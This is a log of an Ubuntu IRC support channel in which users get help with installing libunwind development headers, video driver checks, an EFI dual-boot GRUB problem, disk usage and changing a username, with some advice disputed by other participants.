[23:18] <shaiguitar> is that ok if I want: https://launchpad.net/ubuntu/+source/libunwind ?
[23:19] <ikonia> alpha_: your choice
[23:19] <shaiguitar> if anyone else knows? ... ^
[23:19] <alpha_> ikonia : what about you ?
[23:19] <ikonia> shaiguitar: apt-get source libunwind
[23:23] <HackerII> they should create a 'SlackBuntu'  it wouldnt stay on the shelf
[23:24] <ikonia> don't need to hear that sort of thing please
[23:24] <shaiguitar> ikonia: https://gist.github.com/shaiguitar/11f80a2a6c848cc33b09
[23:24] <shaiguitar> so I guess it's in my sources?
[23:24] <shaiguitar> but..
[23:25] <shaiguitar> E: Couldn't find package libunwind
[23:25] <ikonia> shaiguitar: it's in the main repo
[23:25] <ikonia> shaiguitar: hence "Get:1 http://de.archive.ubuntu.com/ubuntu/ lucid/main"
[23:25] <shaiguitar> I don't understant
[23:25] <ikonia> shaiguitar: not "main"
[23:25] <ikonia> shaiguitar: it's in the main repo
[23:26] <joelteon> apt-file search is returning 0 results for any pattern and yes i have apt-file updated. i'm on saucy salamander
[23:26] <shaiguitar> I don't understand
[23:26] <joelteon> specifically MagickWand.pc is the file I'm looking for, but it can't find "bash" or "a"
[23:26] <shaiguitar> I have that source, right? that's why that gist "worked" or whatever
[23:26] <shaiguitar> why when I try to "install" it, it says not found?
[23:27] <ikonia> shaiguitar: what are you trying to install ?
[23:27] <ikonia> shaiguitar: what you are saying doesn't actually make sense,
[23:28] <wizardaeon> is there a way to test to see if I need updated video drivers? besides running something that needs 3d acceleration?
[23:28] <ikonia> wizardaeon: why do you think you need to update ?
[23:28] <shaiguitar> ikonia: libunwind
[23:29] <shaiguitar> sorry
[23:29] <ikonia> shaiguitar: what ? you've just downloaded the source
[23:29] <ikonia> shaiguitar: that's what the command did
[23:29] <shaiguitar> I'm a bit of an ubuntu noob
[23:29] <shaiguitar> sorry
[23:29] <shaiguitar> yea, ok
[23:29] <glycan> The mouse keys next to my touchpad stopped working. How should I try debugging?
[23:29] <shaiguitar> so why can't I install it now?
[23:29] <ikonia> shaiguitar: what do you actually want to do - what's the end goal ?
[23:29] <ikonia> shaiguitar: install what ???
[23:29] <glycan> (also, is coming here with lubuntu ok?)
[23:29] <shaiguitar> install that package
[23:29] <ikonia> shaiguitar: you where asking for the source - youve got th esource
[23:29] <shaiguitar> have those header files
[23:29] <ikonia> shaiguitar: what package, the source package ?
[23:29] <shaiguitar> the source of the lib
[23:29] <shaiguitar> yes
[23:29] <shaiguitar> I see
[23:30] <ikonia> shaiguitar: you don't want the source ???? - you want the development libraries
[23:30] <shaiguitar> right
[23:30] <shaiguitar> gotcha
[23:30] <FloodBot1> shaiguitar: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[23:30] <shaiguitar> sorry
[23:30] <wizardaeon> ikonia, Im not sure I do- I wanted to check to see if what I have is adequate- I will be using dosbox and wine alot
[23:30] <shaiguitar> I didn't realize lib is a different command than install
[23:30] <shaiguitar> let me check if I have that header now
[23:30] <ikonia> wizardaeon: if updates are available, they will be offered to you via update-manager
[23:30] <ikonia> shaiguitar: libs are not a different command
[23:30] <ikonia> shaiguitar: why do you want this ? what is the end goal ?
[23:31] <wizardaeon> ikonia, on other ubuntu distros, I usually have a choice between xorg and ati radeon drivers, I have to switch them manually
[23:31] <shaiguitar> I want to compile a project that has this header file
[23:31] <ikonia> shaiguitar: what project ?
[23:31] <shaiguitar> when I compile it now, it says: error: libunwind.h: No such file or directory
[23:31] <shaiguitar> ikonia: this branch: https://github.com/ice799/ltrace/tree/libdl
[23:31] <ikonia> shaiguitar: I'm asking as you seem very lost in what you are doing, so compiling software may not be a wise move
[23:32] <wizardaeon> ive run ubuntu 13, xubuntu, kubuntu, mint, and they all have a video driver "switcher"
[23:32] <ikonia> 1info ltrace
[23:32] <ikonia> !info ltrace
[23:32] <ikonia> shaiguitar: there is an ltrace package, you don't need to compile it
[23:32] <ikonia> shaiguitar: sudo apt-get install ltrace
[23:32] <shaiguitar> ikonia: I need that branch.
[23:33] <shaiguitar> so, I need to compile that branch.
[23:33] <shaiguitar> so, I need the code.
[23:33] <shaiguitar> so, I need the required headers.
[23:33] <shaiguitar> hence, I need the libunwind library, on my system.
[23:33] <ikonia> shaiguitar: I find that hard to believe personally
[23:33] <shaiguitar> oh?
[23:33] <shaiguitar> why?
[23:33] <ikonia> shaiguitar: look for the -dev package for libunwind
[23:33] <shaiguitar> I couldn't find it
[23:33] <shaiguitar> I tried
[23:33] <shaiguitar> I will try again though, thanks for the tip.
[23:34] <wizardaeon> is there a way to test video drivers, similar to microcraps "dxdiag"?
[23:34] <dhyana> hi all
[23:34] <ikonia> shaiguitar: libunwind8-dev
[23:34] <ikonia> shaiguitar: 5 seconds to find it
[23:34] <dhyana> Anyone from India? m a indian user
[23:34] <ikonia> wizardaeon: it's called "microsoft"
[23:35] <ikonia> dhyana: you asked this before - why does it matter
[23:35] <dhyana> well
[23:35] <dhyana> I wanted to see if anyone from India uses Ubuntu like me
[23:35] <ikonia> dhyana: #ubuntu-in is the indian loco channel - you've been given this informaiton before
[23:35] <dhyana> ok
[23:35] <ikonia> dhyana: this channel is from all over the world
[23:35] <ikonia> dhyana: please stop asking "is anyone from india"
[23:35] <dhyana> ok
[23:35] <ikonia> dhyana: this the last time this will be explained to you
[23:35] <rhagu> hi, is there a way to look at the grub menu while running ubuntu (inside the terminal for example)
[23:36] <designbybeck___> Asus Laptop EFI Dual boot issues.... Ubuntu seemed to install ok, but GRUB doesn't come up. It just goes to Windows
[23:36] <designbybeck___> It is Windows 7
[23:36] <shaiguitar> ikonia: thank you
[23:36] <shaiguitar> sorry for the confusion; I wasn't aware of apt-get source.
[23:36] <shaiguitar> apprecaite the help.
[23:36] <Fyodorovna> rhagu, sudo update-grub
[23:36] <wizardaeon> so I guess, nobody knows if there is a program similar to dxdiag?
[23:36] <ikonia> shaiguitar: you don't need apt-get source
[23:37] <ikonia> shaiguitar: you need the -dev package
[23:37] <Pici> wizardaeon: glxinfo?
[23:37] <wizardaeon> designbybeck, have you duel booted with EFI configuration before
[23:37] <wizardaeon> Pici, thank you
[23:38] <shaiguitar> ikonia: I don't know why, but running "apt-get install libunwind7-dev" now, worked. but I ran it before, confirmed by history, and it didn't beforehand (no typos).
[23:38] <rhagu> Fyodorovna that command will change my grub.cfg by applying /etc/default/grub but wont show me the actual menu
[23:38] <designbybeck___> wizardaeon: I haven't got it working on this laptop, but I have done clean installs and gotten ubuntu to load on other EFI laptops
[23:38] <shaiguitar> I don't know why, but somereason it worked now (and I got the branch built, ty).
[23:39] <wizardaeon> design, I just asked, because I  have yet to try that- my system will run EFI, but the BIOS is optimized for windows 8
[23:39] <shaiguitar> just fwiw, my history:
[23:39] <shaiguitar>  1490  sudo apt-get install libunwind7-dev
[23:39] <shaiguitar>  1433  sudo apt-get install libunwind7-dev
[23:40] <Fyodorovna> rahgu, not sure of a way to see the actual menu that command shows you the OS's listed.
[23:40] <wizardaeon> Im not sure I need EFI really, I was just curious
[23:40] <shaiguitar> that's all I know :p
[23:40] <shaiguitar> anyway, thank you.
[23:40] <designbybeck___> wizardaeon: I've done hundreds of installs for people...until this Windows Secure Boot crap came along!!!!
[23:41] <wizardaeon> design, same-- but I havent done a secure boot install- its something new I need to learn
[23:41] <wizardaeon> im running Zorin OS right now, I believe it is Ubuntu 7 based
[23:41] <Fyodorovna> rahgu, You might state your actual goal for more info.
[23:41] <designbybeck___> the thing is this as windows 7 on it.... and something is stopping grub from dualbooting
[23:41] <designbybeck___> grub doesn't pull up
[23:42] <Fyodorovna> wizardaeon, not supported here.
[23:42] <wizardaeon> design, who is the laptop manufacturer? what processor?
[23:42] <wizardaeon> kk fyodorovna, Im used to open chat rooms, Ill try to stay on topic
[23:43] <Fyodorovna> it helps
[23:43] <designbybeck___> wizardaeon: ASUS K55A laptop
[23:44] <designbybeck___> intel i5
[23:45] <wizardaeon> designbybeck, is it possible to reinstall all OS on the laptop under non EFI boot
[23:46] <designbybeck___> wizardaeon:  she had so many viruses and such on this windows side which is why i'm trying to get her Linux
[23:46] <designbybeck___> but she needs a few things on the windows side
[23:46] <wizardaeon> reason I am asking,
[23:46] <designbybeck___> I have backup her data, but i don't have any windows disk to reinstall anything
[23:46] <Fyodorovna> a full wipe and setting the  ios to legacy should allow msdos partitioning
[23:47] <wizardaeon> design, I know exactly how to fix that. I fixed a windows laptop couple of days ago
[23:47] <dtcrshr> does i5 processors runs PP 12.04.02 amd64? or theres an intel specific for 64bits?
[23:47] <fowlslegs> So if I add rw as a root flag in my kernel options and I am using mkinitcpio's fsck hook, can I remove rw from my fstab options for the root partition?
[23:47] <designbybeck___> like I said the ubuntu install seemed to go ok, it was just when i rebooted, It doesn't give me grub and goes right into windows
[23:49] <Fyodorovna> designbybeck, you might look here. http://ubuntuforums.org/showthread.php?t=2147295
[23:49] <wizardaeon> you can download the windows ISO from microsoft, get the one that was installed on that laptop, wipe the drive, reinstall, use the windows key that was used to activate that copy of windows, then call microsoft to reactivate your windows key. You type in a 25 digit code, then windows is running again- then you can just install Ubuntu right beside it like you normally would
[23:49] <designbybeck___> Thanks Fyodorovna I haven't seen that post yet, I'll go through it
[23:49] <matubaum> hello, I want to install ubuntu on my new dell computer. I have a usb bootloader with gparted. After selecting any option on the GRUB I get a blackscreen... any ideas?
[23:50] <Fyodorovna> a iso download will not activate with a oem
[23:50] <designbybeck___> (#$*(#@^(*$ no way wizardaeon
[23:50] <designbybeck___> ha
[23:50] <wizardaeon> it worked for me
[23:50] <wizardaeon> but I didnt put Ubuntu on it, the customer authorized me to put Linux on it, but I saved his windows partition= which was full of viruses
[23:51] <wizardaeon> I had to wipe the laptops restore partition too
[23:51] <duffy> Olá
[23:51] <wizardaeon> fyo, I used a iso from microsoft
[23:51] <wizardaeon> and I called them and it worked
[23:51] <duffy> eih , tou aqi
[23:52] <Fyodorovna> !nomodeset | marubaum use a install disc
[23:52] <duffy> f.y .l.
[23:53] <cpined> Hello, I'm trying to figure out what is taking up my space..I have 16 gigs and already about 97% is being used..I ran du -sh * on my home folder and it says I have 5.5 gigs being used...
[23:53] <jrib> cpined: use baobab
[23:53] <cpined> but when I go in the folder the du -sh * command shows files and sub folders that don't add up to the 5.5 gigs
[23:54] <Fyodorovna> wizardaeon, we got your claims, a oem will not activate that way, and is bad advice.
[23:57] <cpined> ok..I installed baobab ... it is still executing.
[23:57] <kelly> hello guys, I need help
[23:57] <NotCharlesIves> hi kelly
[23:57] <kelly> hi NotCharlesIves
[23:57] <kelly> I'm just wondering if it is possible to change username? if yes plz tell me how, i'm using ubunti 12.04
[23:57] <NotCharlesIves> How are you? What's up?
[23:57] <NotCharlesIves> Yes
[23:57] <kelly> i'm fine
[23:58] <NotCharlesIves> http://askubuntu.com/questions/205448/change-user-name
[23:58] <NotCharlesIves> :)
[23:58] <NotCharlesIves> this tutorial may help too http://www.ubuntututorials.com/change-username-ubuntu-12-04/
[23:58] <jrib> kelly: why don't you just create a new user?
[23:58] <jrib> kelly: that tutorial has bad advice
[23:58] <fowlslegs> So if I add rw as a root flag in my kernel options and I am using mkinitcpio's fsck hook, can I remove rw from my fstab options for the root partition?
[23:59] <cpined> cool..it turns out to be .thunderbird
[23:59] <NotCharlesIves> How so jrib?
[23:59] <cpined> it is taking 4.1 GB
[23:59] <kelly> jrib, can i create new user and delete the old one ?
[23:59] <NotCharlesIves> yes
[23:59] <NotCharlesIves> sort of
[23:59] <jrib> kelly: sure